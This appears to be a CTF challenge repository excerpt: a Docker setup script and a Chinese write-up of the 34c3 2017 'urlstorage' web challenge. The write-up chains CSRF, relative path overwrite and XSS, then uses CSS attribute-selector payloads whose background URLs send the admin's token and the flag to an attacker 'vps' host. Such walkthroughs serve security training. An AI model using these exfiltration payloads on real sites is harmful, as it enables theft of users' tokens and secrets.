restart 4 | 5 | chown -R mysql:mysql /var/lib/mysql /var/run/mysqld 6 | service mysql restart 7 | 8 | cd /app && \ 9 | python3 manage.py migrate && \ 10 | python3 manage.py loaddata admin 11 | 12 | cd /app && \ 13 | nohup gunicorn urlstorage.wsgi --bind 127.0.0.1:8000& 14 | 15 | /xss/run_bot.sh & /bin/bash -i 16 | 17 | /usr/bin/tail -f /dev/null -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -p 8012:80 ctf/urlstorage -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/writeup/README.md: -------------------------------------------------------------------------------- 1 | # 34c3-2017-urlstorage 2 | 3 | 对题目稍微测试可以发现: 4 | * `/urlstorage` 页面修改 url 存在 CSRF 5 | * `/flag?token={xss}` 页面 token 参数存在 XSS,最多 64 个字符,获取 flag 只依赖前 32 位 6 | * `/contact` 页面发送参数给 admin,用于攻击 7 | 8 | 同时站点存在 CSP 9 | ``` 10 | Content-Security-Policy: frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self'; 11 | ``` 12 | 13 | `frame-src` 和 `default-src` 未定义,因此站点可以加载任意 iframe 14 | 15 | ## rpo 16 | 17 | 因为整个站点是 django 写的,页面通过路由实现,因此在后面加入什么路径,返回的页面都与 `/urlstorage` 一样 18 | 19 | ``` 20 | http://127.0.0.1:8012/urlstorage/random_str/123 = http://127.0.0.1:8012/urlstorage 21 | ``` 22 | 23 | 然后发现页面采用相对路径导入 CSS,存在 rpo 漏洞 24 | 25 | ```html 26 | 27 | ``` 28 | 29 | 因此访问 `http://127.0.0.1:8012/urlstorage/random_str/123` 时,加载的 CSS 文件为 `http://127.0.0.1:8012/urlstorage/random_str/123/static/css/milligram.min.css`,后面全部被路由处理忽略,返回 urlstorage 页面的源码 30 | 31 | ![rpo](img/rpo.png) 32 | 33 | 页面源码被当作 CSS 加载,url 可控,我们便可以控制页面内容 34 | 35 | 这里有个 trick(摘自 Lorexxar 师傅博客): 36 | > CSS 在加载的时候与 JS 一样是逐行解析的,不同的是 CSS 会忽略页面中不符合 CSS 语法的行 37 | 38 | 尝试 POST `url=%0a{}%0a*{color:red}` 触发 rpo 39 | 40 | ![css](img/css.png) 41 | 42 | ## 获取 token 43 | 可以通过 css 选择器去匹配网页链接中的内容,结合 rpo 外带数据 44 | 45 | ``` 46 | a[href^=flag\?token\=0]{background: url(//vps/rpo/logging.php?c=0);} 47 | a[href^=flag\?token\=f]{background: url(//vps/rpo/logging.php?c=f);} 48 | .. 49 | a[href^=flag\?token\=10]{background: url(//vps/rpo/?c=10);} 50 | a[href^=flag\?token\=11]{background: url(//vps/rpo/?c=11);} 51 | .. 52 | ``` 53 | 54 | 在 VPS 上写入如下功能的 PoC: 55 | 1. 生成利用 CSRF 修改 admin 的 url 为 css payload 的表单 56 | 2. 提交表单到 `/urlstorage/rpo`,触发 css payload 57 | 3. 循环获取 32 位 token 58 | 59 | 这里有一个坑,由于 css 选择器在匹配的时候, 如果 value 值首字符是数字,就不会将 value 当做合法字符串,必须加双引号。 60 | 而 token 开头的字符可能为数字,flag 开头也为 34c3,单/双引号均被编码,因此都需要用其他方法生成 payload: 61 | ``` 62 | 以获取 flag 为例 63 | 1. 使用css的*模糊匹配 64 | 65 | #flag[value*=C3_1]{background: url(http://vps/?flag=C3_1);} 66 | 67 | * 号选择器代表这属性中包含这个字段,由于flag中有_存在,所以不会对flag的获取有影响 68 | 69 | 2. 使用16进制编码 70 | 71 | #flag[value^=\33\34\43\33]{background: url(http://vps/?flag34c3);} 72 | ``` 73 | 74 | 虽然这里 `XSS-Protection=1`,但 admin 是运行在 phantomjs 上,因此应该不会有 XSS Auditor 75 | 76 | ## 获取 flag 77 | flag 保存在一个 name 为 flag 的 textbox,同样利用 css 带出数据 78 | 79 | payload 80 | ``` 81 | #flag[value*=C3_0]{background: url(http://vps?flag=C3_0);} 82 | #flag[value*=C3_1]{background: url(http://vps?flag=C3_1);} 83 | ... 84 | #flag[value*=C3_f]{background: url(http://vps?flag=C3_f);} 85 | ``` 86 | 87 | 但是由于 flag 在 `/flag` 页面下,而 css 触发 rpo 是在 `/urlstorage` 页面下 88 | 89 | 这里有个知识点: 90 | > 在浏览器处理相对路径时,一般情况是获取当前 url 的最后一个 / 前作为 base url,但如果页面中给出了 base 标签,那么就会读取 base 标签中的 url 作为 base url。 91 | 92 | 因此我们可以通过 XSS 注入 `/flag?token=06b05e82a2e5443d36d3cc34007fb8a6`,让 `/flag` 页面导入的 css 路径为 `/urlstorage/rpo/static/css/milligram.min.css` 93 | 94 | 官方 [PoC](exploit.php) 95 | 96 | 然后在 contact 页面提交 url `http://127.0.0.1/flag?token= 111 | 112 | 113 | 114 | 185 | 186 | 187 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/writeup/img/css.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/XSS/34c3-2017-urlstorage/writeup/img/css.png -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/writeup/img/rpo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/XSS/34c3-2017-urlstorage/writeup/img/rpo.png --------------------------------------------------------------------------------